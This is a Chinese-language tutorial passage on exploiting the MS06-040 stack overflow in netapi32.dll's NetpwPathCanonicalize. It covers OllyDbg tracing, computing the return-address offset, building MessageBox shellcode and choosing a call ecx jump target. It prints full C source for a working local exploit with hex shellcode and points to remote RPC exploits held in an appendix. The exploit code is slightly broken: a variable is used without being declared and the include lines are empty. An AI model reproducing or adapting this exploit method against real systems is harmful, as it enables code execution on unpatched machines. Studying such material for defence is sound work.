\n\u4ee3\u78012 \uff1aDLL\u6302\u8f7d\uff0c\u5b8c\u6574\u7684\u4ee3\u7801\u4f4d\u4e8e\u9644\u4ef6local_exploit_040.c\u4e2d
\n\u4e0a\u8ff0\u4ee3\u7801\u5c31\u662f\u6211\u4eec\u672c\u5730\u6ea2\u51fa\u5b9e\u9a8c\u4ee3\u7801\u7684\u6846\u67b6\u3002\u4f60\u53ef\u4ee5\u5148\u6309\u7167\u524d\u8fb9\u5206\u6790\u7684\u7ed3\u679c\u5bf9\u53c2\u6570\u968f\u610f\u7684\u8d4b\u51e0\u4e2a\u503c\u8bd5\u8bd5\u3002\u5728\u6211\u8c03\u8bd5\u7684\u8fc7\u7a0b\u4e2d\uff0cVC\u7f16\u8bd1\u540e\uff0c\u5982\u679c\u51fd\u6570\u53c2\u6570\u4f20\u5165\u201c\u6b63\u786e\u201d\uff0c\u5728\u6267\u884c\u65f6XP\u603b\u4f1a\u62a5check esp erro\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u6211\u54ea\u4e2a\u53c2\u6570\u6ca1\u7528\u5bf9\uff0c\u4f46\u5728\u8fdc\u7a0b\u6ea2\u51fa\u7684RPC\u8c03\u7528\u4e2d\u662f\u80fd\u591f\u6b63\u5e38\u6267\u884c\u7684\u3002
\n\u4e0b\u9762\u6765\u8c03\u8bd5\u4e00\u4e0b\u8fd9\u4e2aBIN\uff0c\u7528OLLYDBG\u53bb\u628anetapi32.dll\u6267\u884c\u7684\u7ec6\u8282\u641e\u6e05\u695a\u3002\u670b\u53cb\u4eec\uff0c\u4f60\u4eec\u51c6\u5907\u597d\u9886\u7565\u5e96\u4e01\u89e3\u725b\u7684\u611f\u89c9\u4e86\u5417\uff1f
\n\u7528VC\u7f16\u8bd1\u94fe\u63a5\u751f\u6210BIN\u8fd0\u884c\u662f\u4f1a\u51fa\u9519\u7684\uff0c\u4e0d\u8981\u7d27\uff0c\u6211\u4eec\u7528OLLYDBG\u6253\u5f00\u53ef\u6267\u884c\u6587\u4ef6\u3002\u9ed8\u8ba4\u7684\u52a0\u8f7d\u65b9\u5f0f\u4f1a\u5728\u7a0b\u5e8f\u7684\u5165\u53e3\u5730\u65b9\u505c\u4e0b\u3002\u6211\u4eec\u8c03\u8bd5\u7684\u53ef\u6267\u884c\u6587\u4ef6\u5e94\u8be5\u662fVC\u751f\u6210\u7684debug\u7248\u672c\uff0c\u6240\u4ee5\u5e94\u8be5\u505c\u5728PE\u7684\u52a0\u8f7d\u533a\uff0c\u6ce8\u610f\u8fd9\u91cc\u53ef\u4e0d\u662f\u6211\u4eec\u7684main\uff08\uff09\u51fd\u6570\u54e6\u3002
\n\u5982\u679c\u4f60\u6709\u8010\u6027\u7684\u4e0b\uff0c\u4e0d\u59a8\u6309F8\u5355\u6b65\u4e0b\u53bb\uff0c\u987a\u4fbf\u4e86\u89e3\u4e00\u4e0bWINDOWS\u52a0\u8f7dPE\u7684\u8fc7\u7a0b\uff0c\u770b\u770b\u5728main\uff08\uff09\u4e4b\u524d\u90fd\u5e72\u4e86\u70b9\u4ec0\u4e48\u3002
\n\u5982\u56fe1\uff0c\u79bb\u5165\u53e3\u4e0d\u8fdc\u5904\uff0c\u4f1a\u6709GetCommandLineA\u7684\u8c03\u7528\uff0c\u540e\u9762\u4f1a\u6709\u4e09\u4e2a\u5bf9EDX\u3001ECX\u3001EAX\u7684push\u64cd\u4f5c\uff0c\u8fd9\u662f\u5728\u4e3amain\uff08\uff09\u51fd\u6570\u4f20\u9012\u53c2\u6570\u3002\u4e4b\u540e\u7684\u90a3\u4e2acall\u5c31\u662f\u6211\u4eec\u7684main\uff08\uff09\u4e86\u3002\u5f53F8\u5355\u6b65\u5230\u8fd9\u4e2acall\uff0c\u4f60\u9700\u8981F7\u5355\u6b65\u8fdb\u5165main\uff08\uff09\u51fd\u6570\u3002
\n\u8fdb\u5165main\uff08\uff09\u4e4b\u540e\u4f60\u4f1a\u770b\u5230OLLDBG\u5df2\u7ecf\u4e3a\u6211\u4eec\u8bc6\u522b\u51fa\u6807\u51c6\u7684\u7cfb\u7edfAPI\u8c03\u7528\u5e76\u81ea\u52a8\u505a\u4e86\u6ce8\u91ca\u3002\u50cfC\u4ee3\u7801\u91cc\u5199\u7684\u90a3\u6837\uff0c\u8fd9\u91cc\u4f9d\u6b21\u8c03\u7528\u4e86LoadLibarayA\u3001GetProcessAddress\u3001memset\u7b49\u4e4b\u540e\u8fde\u7eed\u8fdb\u884c\u516d\u6b21push\u53c8\u8c03\u4e86\u4e00\u4e2a\u51fd\u6570\uff0c\u8fd9\u4e2a\u5bf9\u5e94\u7684\u5c31\u662f(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0)\u7684\u6c47\u7f16\u5f62\u5f0f\u4e86\u3002\u51fd\u6570\u8c03\u7528\u7684\u53c2\u6570\u5165\u6808\u987a\u5e8f\u662f\u4ece\u53f3\u5411\u5de6\uff0c\u6240\u4ee5\u7b2c\u4e00\u4e2a\u538b\u7684\u662f0\u3002\u5982\u679c\u4f60\u7b2c\u4e00\u6b21\u52a8\u6001\u8c03\u8bd5\u7684\u8bdd\uff0c\u4e0d\u59a8\u770b\u770b\u6808\u91cc\u538b\u5165\u53c2\u6570\u7684\u503c\uff0c\u5728\u5230\u5bf9\u5e94\u7684\u5185\u5b58\u4f4d\u7f6e\u53bb\u770b\u770b\u5185\u5b58\u91cc\u7684\u5185\u5bb9\uff0c\u81ea\u6211\u611f\u89c9\u8fd9\u6837\u7684\u8c03\u8bd5\u662f\u7406\u89e3\u8ba1\u7b97\u673a\u7cfb\u7edf\u5e95\u5c42\u6700\u76f4\u63a5\uff0c\u6700\u6709\u6548\u7684\u65b9\u5f0f\u3002
\nCPU\u6267\u884c\u5230\u8fd9\u4e2acall\u4ee5\u540e\uff0c\u6211\u4eec\u540c\u6837\u7528F7\u8fdb\u5165\u8fd9\u4e2a\u51fd\u6570\uff0c\u53ef\u4ee5\u770b\u5230\u4ee3\u7801\u533a\u4ece0x004xxxxx\u5207\u6362\u5230\u4e860x7xxxxxxx\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u65f6\u7a0b\u5e8f\u4ece\u6211\u4eec\u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u4ee3\u7801\u533a\u8df3\u5230\u4e86netapi32.dll\u4e2dNetpwPathCanonicalize\u51fd\u6570\u7684\u4ee3\u7801\u90e8\u5206\u3002<\/p>\n

\u672c\u5730\u6ea2\u51fa\u4e4bmain\uff08\uff09\u51fd\u6570\u5165\u53e3
\n\u7ee7\u7eed\u5355\u6b65\u6267\u884c\uff0c\u89c2\u5bdf\u5bc4\u5b58\u5668\u7684\u503c\uff0c\u89c2\u5bdf\u6bcf\u4e00\u4e2a\u8df3\u8f6c\u7684\u6267\u884c\uff0c\u7ed3\u5408\u4e0a\u4e00\u8282\u4e2d\u4f60\u7528IDA\u7684\u5206\u6790\uff0c\u9a8c\u8bc1\u4e0b\u5f53\u65f6\u81ea\u5df1\u5bf9\u7a0b\u5e8f\u6d41\u7a0b\u7684\u638c\u63e1\u662f\u5426\u6b63\u786e\u3002
\nNetpwPathCanonicalize\u4e2d\u5728\u4e24\u6b21\u5bf9NetpwPathType\u7684\u8c03\u7528\u540e\uff0c\u90a3\u4e2a\u8fde\u7eed\u538b\u4e865\u4e2a\u53c2\u6570\u7684\u51fd\u6570\u8c03\u7528\u5c31\u662f\u6f0f\u6d1e\u7684\u6839\u6e90\uff0cCanonicalizePathName\uff08\uff09\u51fd\u6570\uff0c\u8fd9\u91cc\u5f53\u7136\u8981\u8fdb\u5165\u4ed4\u7ec6\u89c2\u5bdf\u4e86\u3002
\n\u8fde\u7eed\u8ddf\u8e2a\u51e0\u6b21\u4e4b\u540e\uff0c\u76f8\u4fe1\u60a8\u5bf9NetpwPathCanonicalize\u548cCanonicalizePathName\u91cc\u7684\u7a0b\u5e8f\u6d41\u7a0b\u5df2\u7ecf\u6bd4\u8f83\u719f\u6089\u4e86\uff0c\u5bf9\u4e0a\u4e00\u8282\u4e2d\u9759\u6001\u5206\u6790\u7684\u7ed3\u679c\u4e5f\u6709\u4e86\u65b0\u7684\u8ba4\u8bc6\u3002\u597d\uff0c\u73b0\u5728\u6211\u4eec\u7a0d\u5fae\u56de\u5fc6\u4e0b\u5df2\u6709\u7684\u77e5\u8bc6\uff0c\u8bbe\u8ba1\u4e00\u4e0b\u600e\u6837\u5236\u9020\u6ea2\u51fa\u3002
\n\u6839\u636e\u524d\u8fb9\u5206\u6790\u7684\u7ed3\u679c\uff0c\u5982\u679c\u6211\u4eec\u8fd9\u6837\u6765\u521d\u59cb\u5316\u4f20\u5165\u7684\u5b57\u4e32\uff1a
\n4\u53f7\u4e32 \uff0d> 0x12 byte \u8d4b\u4e3a\u5b57\u7b26\u20194\u2019
\n\u7a0b\u5e8f\u6dfb\u52a0\u7684\u8def\u5f84\u5206\u5272 \uff0d> 0x2 byte Unicode(\/) 0x5c00
\n1\u53f7\u4e32\u586b\u5145\u7269 \uff0d> 0x400 byte \u8d4b\u4e3a\u5b57\u7b26\u20191\u2019
\n\u90a3\u4e48\u8fd9414\u4e2a\u5b57\u8282\u521a\u597d\u6491\u6ee1CanonicalizePathName\uff08\uff09\u51fd\u6570\u4e3a\u81ea\u5df1\u5f00\u7684\u6808\u7a7a\u95f4\uff0c1\u53f7\u4e32\u5f80\u540e\u7684\u56db\u4e2a\u5b57\u8282\u662fEBP\uff0c\u518d\u7d27\u63a5\u7740\u5c31\u662f\u8fd4\u56de\u5730\u5740\uff0c\u4e5f\u5c31\u662f\u8bf41\u53f7\u4e32\u7b2c0x404\uff5e0x407\u7684\u5185\u5bb9\u662f\u51fd\u6570\u8fd4\u56de\u540eEIP\u7684\u5185\u5bb9\uff01
\n\u6211\u4eec\u7ed91\u53f7\u4e320x400\uff5e0x407\u4f4d\u7f6e\u8d4b\u4e3a\u5b57\u7b26\u2019q\u2019\uff0c\u7528OLLDBG\u770b\u770b\u6808\u4e2d\u7684\u60c5\u51b5\u548c\u6211\u4eec\u5206\u6790\u7684\u4e00\u6837\u4e0d\u3002CanonicalizePathName\u5728\u8fd4\u56de\u65f6\u5bc4\u5b58\u5668\u72b6\u6001\u5982\u56fe2<\/p>\n

\u51fd\u6570\u8fd4\u56de\u524d\u7684\u6ea2\u51fa\u60c5\u51b5
\n\u5728\u51fd\u6570\u8fd4\u56de\u524d\uff0cEBP\u7684\u5730\u5740\u4e3a0x0012F21C\uff0c\u5176\u5185\u5bb9\u5df2\u7ecf\u88ab\u6211\u4eec\u7684\u586b\u5145\u5b57\u7b26\u51c6\u786e\u8986\u76d6\u4e3a0x71717171(0x37\u4e3a\u2018q\u2019\u7684ASCII)\uff0c\u540e\u9762\u7684\u51fd\u6570\u8fd4\u56de\u5730\u5740\u4e5f\u6309\u7167\u6211\u4eec\u9884\u60f3\u7684\u88ab\u8986\u76d6\u4e3a0x71717171\u3002\u8fd4\u56de\u540eEIP\u5c06\u6307\u54110x71717171\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u63a7\u5236\u51fd\u6570\u8fd4\u56de\u65f6CPU\u7684\u53d6\u5740\u4f4d\u7f6e\u4e86\uff01
\n\u7a0d\u5fae\u603b\u7ed3\u4e00\u4e0b\uff0c\u901a\u8fc7\u52a8\u6001\u8ddf\u8e2a\uff0c\u786e\u8ba4\u4e86\u6211\u4eec\u9759\u6001\u5206\u6790\u7684\u7ed3\u679c\uff0c\u4e86\u89e3\u5230\u6808\u72b6\u6001\u548c\u5bc4\u5b58\u5668\u72b6\u6001\u7684\u7ec6\u8282\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u5728\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u7684\u7279\u5b9a\u4f4d\u7f6e\u51c6\u786e\u7684\u66f4\u6539\u51fd\u6570\u8fd4\u56de\u5730\u5740\uff0c\u8ba9CanonicalizePathName\u5728\u8fd4\u56de\u7684\u65f6\u5019\u8df3\u5230\u4e00\u4e2a\u6211\u4eec\u6307\u5b9a\u7684\u5730\u65b9\u53bb\u63a5\u7740\u6267\u884c\u6307\u4ee4\u2014\u2014\u5982\u679c\u90a3\u4e2a\u5730\u65b9\u653e\u7740\u6211\u4eec\u53ef\u7231\u7684shellcode\u7684\u8bdd\u2026\u2026
\n1.4 shellcode DIY
\n\u4e00\u822c\u5229\u7528\u5b57\u7b26\u4e32\u51fd\u6570\u6ea2\u51fa\u7684shellcode\u8981\u6c42\u4e0d\u80fd\u67090\u51fa\u73b0\uff0c\u5728\u8fd9\u4e2a\u5b9e\u9a8c\u4e2d\u6211\u4eec\u5229\u7528\u7684\u662funicode\u7684\u5b57\u7b26\u590d\u5236\u51fd\u6570\uff0c\u5b57\u7b26\u4e32\u7ed3\u5c3e\u662f\u4e24\u4e2a\u5b57\u8282\u76840\uff0c\u6240\u4ee5\u8fd9\u6761\u9650\u5236\u4f1a\u653e\u5bbd\u4e00\u70b9\u2014\u2014shellcode\u4e2d\u4e0d\u80fd\u51fa\u73b0\u8fde\u7eed\u7684\u4e24\u4e2a\u5b57\u8282\u76840\u3002
\n\u4e86\u89e3\u5230\u8fd9\u4e9b\u57fa\u672c\u8981\u6c42\u540e\uff0c\u6211\u4eec\u5f00\u59cb\u6211\u4eec\u81ea\u5df1\u7684shellcode DIY\u5427\u3002
\n\u8fd9\u4e2ashellcode\u7684\u529f\u80fd\u662f\u5f39\u51fa\u4e00\u4e2aMessageBox\u5e76\u663e\u793a\u201cfailwest\u201d\u3002
\n==========================================================================
\n#include
\n#include
\nint main()
\n{
\nHINSTANCE LibHandle;
\nchar dllbuf[11] = \"user32.dll\";
\nLibHandle = LoadLibrary(dllbuf);
\n_asm{
\nsub sp,0x440
\nxor ebx,ebx
\npush ebx \/\/ cut string
\npush 0x74736577
\npush 0x6C696166\/\/push failwest
\nmov eax,esp \/\/load address of failwest
\npush ebx
\npush eax
\npush eax
\npush ebx
\nmov eax,0x77D504EA \/\/ address should be reset in different OS
\ncall eax \/\/call MessageboxA
\npush 0
\nmov eax,0x7C81CDDA
\ncall eax \/\/call exit(0)
\n}
\n}
\n\u4ee3\u78013\uff1a shellcode_box.c
\n\u4e3a\u4ec0\u4e48\u8981\u5f000x440\u90a3\u4e48\u5927\u7684\u6808\u7a7a\u95f4\u5462\uff0c\u6211\u4eec\u6839\u672c\u7528\u4e0d\u4e86\u8fd9\u4e48\u591a\u7a7a\u95f4\u5440\uff1f\u8fd9\u4e2a\u95ee\u9898\u5148\u5356\u4e2a\u5173\u5b50\uff0c\u6211\u4eec\u540e\u9762\u8ba8\u8bbashellcode\u5e03\u7f6e\u7684\u65f6\u5019\u5728\u6765\u56de\u7b54\u3002
\n\u6ce8\u610fMessageBoxA\uff08\uff09\u7684\u5165\u53e3\u5730\u57400x77D504EA\u548cexit\uff08\uff09\u51fd\u6570\u7684\u5165\u53e3\u5730\u57400x7C81CDDA \u6839\u636e\u4e0d\u540c\u7684\u673a\u5668\u3001\u4e0d\u540c\u7684\u64cd\u4f5c\u7cfb\u7edf\u548c\u4e0d\u540c\u7684\u8865\u4e01\u60c5\u51b5\uff0c\u53ef\u80fd\u4f1a\u4e0d\u540c\u3002\u81ea\u5df1\u5728\u8c03\u8bd5\u7684\u65f6\u5019\u9700\u8981\u67e5\u770b\u4e00\u4e0b\u672c\u673a\u7684\u5177\u4f53\u5730\u5740\uff0c\u8981\u8fdc\u7a0b\u6ea2\u51fa\u7684\u8bdd\u5f53\u7136\u8fd8\u8981\u67e5\u67e5\u76ee\u6807\u4e3b\u673a\u7684\u5e93\u4fe1\u606f\u3002\u6700\u7b80\u5355\u7684\u5c31\u662f\u7528VC\u63d0\u4f9b\u7684Tools\u91cc\u7684depends\u5de5\u5177\u67e5\u770b\u4e00\u4e0b\u3002\u6bd4\u5982\u5728\u6211\u5b9e\u9a8c\u7684\u7cfb\u7edf\u4e2d\u6253\u5f00depends\uff0c\u968f\u4fbf\u4e22\u4e2aBIN\u8fdb\u53bb\u770b\u4e0buser32.dll\u548ckernel32.dll\u7684\u52a0\u8f7d\u60c5\u51b5\uff1a<\/p>\n

shellcode\u4e2d\u51fd\u6570\u5730\u5740\u7684\u8ba1\u7b97
\n\u8fd9\u91ccuser32.dll\u7684\u52a0\u8f7d\u57fa\u5740\u662f0x77D10000\uff0cMessageBoxA\u5728\u5176\u5185\u7684offeset\u662f0x000404EA\uff0c\u90a3\u4e48\u5b83\u5728\u5185\u5b58\u4e2d\u7684RVA\u5730\u5740\u5e94\u8be5\u662f\u8fd9\u4e24\u8005\u4e4b\u548c0x77D504EA\uff0c\u7c7b\u4f3c\u7684\u4e5f\u53ef\u4ee5\u8ba1\u7b97\u51fakernel32.dll\u4e2dexit\uff08\uff09\u7684RVA\u3002
\n\u7528VC\u628a\u8fd9\u6bb5\u7a0b\u5e8f\u7f16\u8bd1\u94fe\u63a5\u8fd0\u884c\u6d4b\u8bd5\uff0c\u770b\u5230\u6846\u6846\u8df3\u51fa\u6765\u4e4b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u7528IDA\u4e4b\u7c7b\u7684\u5de5\u5177\u63d0\u53d6\u51fa\u7f16\u8bd1\u8fc7\u540e\u7684\u673a\u5668\u7801\u3002\u6211\u8fd9\u91cc\u7528\u7684\u662fultraedit\uff0c\u6309\u716716\u8fdb\u5236\u5f62\u5f0f\u6253\u5f00\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u76f4\u63a5\u67e5\u627e\u6211\u4eec\u4ee3\u7801\u4e2d\u8c03\u7528MessageBoxA\u7684\u5730\u5740\uff1aEA04D577\u5b9a\u4f4d\u5230\u7f16\u8bd1\u540e\u7684\u673a\u5668\u7801\uff08\u6ce8\u610f\u5185\u5b58\u4e2dword\u5b57\u8282\u7684\u53cd\u5e8f\u5173\u7cfb\uff09\uff0c\u5f53\u7136\u5982\u679c\u4f60\u719f\u6089PE\u683c\u5f0f\u7684\u8bdd\u76f4\u63a5ctr+g\u8df3\u52300x1000\u7684\u4ee3\u7801\u6bb5\u91cc\u53bb\u627e\u4ee3\u7801\u4e5f\u884c\u3002
\n\u627e\u5230\u540e\u5bf9\u7740\u8fd9\u4e00\u5806\u673a\u5668\u7801\u6211\u4eec\u600e\u4e48\u77e5\u9053\u54ea\u91cc\u662f\u5f00\u59cb\u54ea\u91cc\u662f\u7ed3\u675f\u5462\uff1f\u96be\u9053\u53bb\u67e5intel\u7684\u6307\u4ee4\u96c6\u5417\uff1f\u8fd9\u91cc\u6559\u4e00\u4e2a\u6211\u4e2a\u4eba\u7528\u7684\u571f\u529e\u6cd5\uff1a\u4e00\u822c\u5728shellcode\u6c47\u7f16\u4ee3\u7801\u7684\u5f00\u5934\u548c\u7ed3\u5c3e\u6211\u90fd\u4f1a\u52a0\u4e0a\u51e0\u5341\u4e2aNOP\u6307\u4ee4\uff0c\u5230\u4e86\u673a\u5668\u7801\u91cc\uff0c\u4e24\u5927\u6bb50x90\u5b57\u8282\u4e4b\u95f4\u7684\u90a3\u90e8\u5206\u81ea\u7136\u5c31\u662fshellcode\u4e86\u3002
\n\u5982\u56fe4\uff0c\u5728ultraedit\u91cc\u9009\u4e2d\u6211\u4eec\u7684shellcode\u630916\u8fdb\u5236\u590d\u5236\u51fa\u6765\uff0c\u628a\u683c\u5f0f\u6574\u7406\u4e0b\u5c31\u5f97\u5230\u6211\u4eec\u81ea\u5df1\u5236\u4f5c\u7684shellcode\u4e86\u3002<\/p>\n

\u63d0\u53d6shellcode
\n\u6709\u4e86\u6df9\u6ca1\u8fd4\u56de\u5730\u5740\u7684\u504f\u79fb\uff0c\u6709\u4e86\u81ea\u5df1\u5236\u4f5c\u7684shellcode\uff0c\u63a5\u4e0b\u6765\u8981\u505a\u7684\u5c31\u662f\u600e\u4e48\u5728\u5185\u5b58\u4e2d\u7ec4\u7ec7\u8fd9\u4e9b\u5185\u5bb9\u4e86\uff0c\u8fd9\u4e5f\u662f\u6808\u6ea2\u51fa\u6700\u7cbe\u534e\u7684\u5730\u65b9\u3002
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\n\u73a9\u6cd5A\uff1a\u641c\u5bfbjump esp\uff0c\u5728esp\u540e\u9762\u5e03\u7f6eshellcode
\n\u73a9\u6cd5B\uff1a\u641c\u5bfbjump ebp, \u5728ebp\u7684\u4f4d\u7f6e\u586b\u5165\u4e00\u4e2a\u6bd4\u8f83\u51c6\u786e\u7684shellcode\u5730\u5740
\n\u73a9\u6cd5C\uff1a\u53e6\u7c7b\u73a9\u6cd5\uff0c\u5229\u7528\u5176\u4ed6\u5bc4\u5b58\u5668\uff0cSEH\u5229\u7528\u7b49<\/p>\n

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\n\uff08\u5185\u5b58\u4f4e\u5740\uff09\u6808\u9876-------nnnnnnnnnnnnnnnnnssssssssssssssnn(ebp)(ret)------\u6808\u5e95\uff08\u5185\u5b58\u9ad8\u5740\uff09
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\n\u597d\uff0c\u73b0\u5728\u7a0d\u5fae\u6574\u7406\u4e00\u4e0b\u601d\u8def\uff1a\u51fd\u6570\u8fd4\u56de\u65f6ecx\u6307\u5411\u6808\u4e2d\u6682\u5b58\u4e32\u5730\u5740\uff0c\u8fd9\u4e2a\u6682\u5b58\u4e32\u7684\u5f62\u5f0f\u662f\uff1a4\u53f7\u4e32 \uff0b \u2018\\\u2019 \uff0b 1\u53f7\u4e32\u3002\u6211\u4eec\u57281\u53f7\u4e32\u4e2d\u653eshellcode\uff0c\u57284\u53f7\u4e32\u5c3e\u90e8\u6df9\u6ca1\u8fd4\u56de\u5730\u5740\uff0c\u586b\u5199\u4e00\u4e2ajmp ecx\u7684\u5730\u5740\uff0c\u90a3\u4e48\u2026\u2026
\n\u7efc\u4e0a\uff0c\u6211\u4eec\u91c7\u7528\u65b9\u6848C\u7684\u505a\u6cd5\u6765exploit\uff01
\n\u5f00\u59cb\u4e4b\u524d\u56de\u7b54\u4e0b\u8fd9\u8282\u5f00\u5934\u63d0\u51fa\u7684\u95ee\u9898\uff0cshellcode\u4e3a\u4ec0\u4e48\u8981\u5f00\u90a3\u4e48\u5927\u7684\u6808\u7a7a\u95f4\u5462\uff1f\u56e0\u4e3a\u6211\u4eec\u7684exploit\u65b9\u6848\u662f\u628aEIP\u5f15\u5230\u6808\u533a\u6267\u884cshellcode\u3002\u51fd\u6570\u8fd4\u56de\u540eshellcode\u521a\u597d\u88ab\u653e\u5728\u6808\u9876\u4e4b\u4e0a\u4e00\u70b9\u70b9\u7684\u5730\u65b9\uff0c\u8fd9\u90e8\u5206\u5185\u5b58\u7a7a\u95f4\u5728\u7cfb\u7edf\u770b\u6765\u5185\u5bb9\u5df2\u7ecf\u6ca1\u6709\u7528\uff0c\u662f\u53ef\u4ee5\u968f\u4fbf\u5199\u7684\u3002\u6240\u4ee5\u4e00\u65e6\u9047\u5230\u51fd\u6570\u8c03\u7528\uff0c\u6808\u9876\u5c31\u4f1a\u5411\u4e0a\u6d6e\u52a8\uff0c\u628a\u6211\u4eec\u653eshellcode\u7684\u5730\u65b9\u5f53\u6570\u636e\u533a\u6d82\u9e26\u4f3c\u7684\u80e1\u6539\u4e00\u901a\uff0c\u7834\u574f\u5230\u6211\u4eec\u7684\u6307\u4ee4\u3002\u6240\u4ee5\u6211\u5e72\u8106\u63d0\u524d\u628a\u6808\u9876\u5347\u8d77\u6765\uff0c\u7528\u6808\u628ashellcode\u4fdd\u62a4\u8d77\u6765\uff0c\u8fd9\u4e0b\u6211\u4eec\u7684shellcode\u65e0\u8bba\u5982\u4f55\u90fd\u4e0d\u4f1a\u88ab\u7834\u574f\u5230\u4e86\u3002
\n\u5728\u6765\u770b\u770b\u5b9e\u9645\u4e2d\u6211\u4eecexploit\u7684\u7ec6\u8282\uff0c\u6808\u4e2d\u7684\u60c5\u51b5\u662f\u8fd9\u6837\u7684\uff1a
\nEbp-0x414 0xFC\u5b57\u8282\u76844\u53f7\u4e32\uff0c\u5185\u5bb9\u4e3a\u524d\u540e\u90fd\u88abnop\u5305\u56f4\u7684shellcode
\n0x2\u5b57\u8282\u7684\u7a0b\u5e8f\u8fde\u4e0a\u7684unicode\u5b57\u7b26\u2018\\\u2019
\n0x316\u5b57\u8282\u76841\u53f7\u4e32\uff0c\u5185\u5bb9\u4e3a 0x90
\nEbp 0x4\u5b57\u8282\u76840x90\uff0c\u5bf9\u5e94\u4e3a1\u53f7\u4e32\u76840x317\uff5e0x31A\u5b57\u8282
\nEip 0x751852F9\uff0c\u4ecenetapi32.dll\u91cc\u4e00\u6761call ecx\u6307\u4ee4\u7684\u5730\u5740
\n\u81f3\u4e8eeip\u8986\u76d6\u503ccall ecx\u7684\u5730\u57400x751852F9\u7684\u83b7\u5f97\uff0c\u4f60\u53ef\u4ee5\u81ea\u5df1\u7f16\u7a0b\u641c\u7d22\u5185\u5b58\uff0c\u7b80\u5355\u7684\u505a\u6cd5\u5c31\u662f\u7528OLLYDBG\u7684\u63d2\u4ef6Ollyuni\u3002
\n\u6700\u7ec8\u7684exploit\u662f\u8fd9\u6837\u7684\uff1a
\n=====================================================================
\n#include
\n#include
\ntypedef void (*MYPROC)(LPTSTR);
\n#define STACK_SPACE 0x31A
\nchar shellcode[]=
\n\"\\x66\\x81\\xEC\\x40\\x04\\x33\\xDB\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\"
\n\"\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\\x53\\xB8\"
\n\"\\xEA\\x04\\xD5\\x77\" \/\/ user32.dll
\n\"\\xFF\\xD0\\x6A\\x00\\xB8\"
\n\"\\xDA\\xCD\\x81\\x7C\" \/\/exit()
\n\"\\xFF\\xD0\";
\nint main()
\n{
\nchar arg_1[0x320];
\nchar arg_2[0x440];
\nint arg_3=0x440;
\nlong arg_5=44;
\nHINSTANCE LibHandle;
\nMYPROC ProcAdd;
\nchar dllbuf[40] = \".\/netapi32.dll\";
\nchar Trigger[40] = \"NetpwPathCanonicalize\";
\nLibHandle = LoadLibrary(dllbuf);
\nProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
\nmemset(arg_1,0,sizeof(arg_1));
\nmemset(arg_2,0,sizeof(arg_2));
\nmemset(arg_4,0,sizeof(arg_4));
\nmemset(arg_1,0x90,sizeof(arg_1)-4);
\nmemset(arg_4,0x90,sizeof(arg_4)-4);\/\/string should be cut by 2 bytes 0
\nmemcpy(arg_4+0x40,shellcode,0x28);
\narg_1[STACK_SPACE+0]=0xF9;
\narg_1[STACK_SPACE+1]=0x52;
\narg_1[STACK_SPACE+2]=0x18;
\narg_1[STACK_SPACE+3]=0x75; \/\/eip
\n(ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
\nFreeLibrary(LibHandle);
\n}
\n\u4ee3\u78014\uff1a local_exploit_040.c<\/p>\n

\u672c\u5730\u6ea2\u51fa\u6210\u529f
\n\u7f16\u8bd1\u8fd0\u884c\uff0c\u54c8\u54c8\uff0c\u4eab\u53d7\u6ea2\u51fa\u6210\u529f\u7684\u559c\u60a6\u5427\uff0c\u8bb0\u4f4f\u6846\u6846\u5f39\u51fa\u6765\u65f6\u7684\u5fc3\u52a8\u5427\uff0c\u8fd9\u662f\u6211\u4eec\u94bb\u7814\u6280\u672f\u7684\u6e90\u52a8\u529b\uff01
\n2 \u6df1\u5165\u7bc7
\n\u2014\u2014\u83ab\u5728\u6d6e\u6c99\u7b51\u9ad8\u53f0
\n\u5b89\u5168\u6280\u672f\u548c\u9006\u5411\u6280\u672f\u4ece\u6765\u5c31\u662f\u5bc6\u4e0d\u53ef\u5206\u7684\uff0c\u4e0d\u8bba\u5bf9CRACK\u8fd8\u662fHACK\u8fd9\u90fd\u597d\u6bd4\u7ec3\u4e60\u4e0a\u4e58\u6b66\u529f\u524d\u7684\u9a6c\u6b65\u3002\u5c31\u50cf\u9ad8\u624b\u884c\u4fa0\u4ed7\u4e49\u7684\u5a01\u98ce\u4e4b\u540e\u9690\u85cf\u7740\u7ec3\u9a6c\u6b65\u7684\u67af\u71e5\u4e4f\u5473\uff0c\u6240\u6709\u6f02\u4eae\u7684exploits\u80cc\u540e\u90fd\u9690\u85cf\u7740\u65e0\u6570\u4e2a\u5bf9\u7740\u5bc4\u5b58\u5668\u53d1\u5446\u7684\u4e0d\u7720\u4e4b\u591c\uff0c\u6ca1\u6709\u7ecf\u8fc7\u8fd9\u822c\u78e8\u7ec3\u5c31\u597d\u50cf\u6d6e\u6c99\u4e2d\u7684\u9ad8\u53f0\uff0c\u4e0d\u80fd\u4e45\u8fdc\u3002
\n2.1 \u521d\u8bc6\uff0cRPC\u7684\u7384\u673a
\n\u672c\u5730\u6ea2\u51fa\u662f\u7528\u6765\u81ea\u5df1\u5b66\u4e60\u6280\u672f\u548c\u539f\u7406\u7684\uff0c\u771f\u6b63\u6709\u6548\u7684\u653b\u51fb\u662f\u7f51\u7edc\u4e0a\u7684\u8fdc\u7a0b\u6ea2\u51fa\u3002\u5927\u5bb6\u90fd\u77e5\u9053MS06-040\u4e4b\u6240\u4ee5\u8fd9\u4e48\u51fa\u540d\u5c31\u662f\u56e0\u4e3a\u8fd9\u662f\u4e00\u4e2a\u53ef\u4ee5\u88abRPC\u8c03\u7528\u8fdc\u7a0b\u89e6\u53d1\u7684\u6f0f\u6d1e\u3002
\n\u76ee\u524d\u7f51\u4e0a\u6d41\u884c\u7684\u8fdc\u7a0b\u6ea2\u51fa\u4ee3\u7801\u6211\u6536\u96c6\u5230\u4e09\u4e2a\u7248\u672c\uff0c\u4f60\u53ef\u4ee5\u5728\u9644\u5f55\u8d44\u6599\u4e2d\u627e\u5230\u8fd9\u4e9b\u4ee3\u7801\u3002
